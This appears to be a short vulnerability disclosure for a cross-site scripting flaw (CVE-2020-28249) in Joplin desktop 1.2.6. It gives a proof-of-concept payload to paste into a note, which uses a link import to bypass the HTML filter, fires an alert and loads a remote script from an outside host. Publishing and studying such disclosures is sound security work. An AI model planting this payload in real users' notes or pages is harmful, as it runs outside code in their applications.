Joplin 1.2.6 - 'link' Cross Site Scripting

# Exploit Title: Joplin 1.2.6 - 'link' Cross Site Scripting
# Date: 2020-09-21
# Exploit Author: Philip Holbrook (@fhlipZero)
# Vendor Homepage: https://joplinapp.org/
# Software Link: https://github.com/laurent22/joplin/releases/tag/v1.2.6
# Version: 1.2.6
# Tested on: Windows / Mac
# CVE : CVE-2020-28249
# References:
# https://github.com/fhlip0/JopinXSS/blob/main/readme.md

# 1. Technical Details
# An XSS issue in Joplin for desktop v1.2.6 allows a link tag in a note to
bypass the HTML filter

# 2. PoC
# Paste the following payload into a note:

```
<link rel=import
href="data:text/html&comma;<script>alert(XSS)<&sol;script>
<script src="//brutelogic.com.br&sol;1.js&num; </script>
```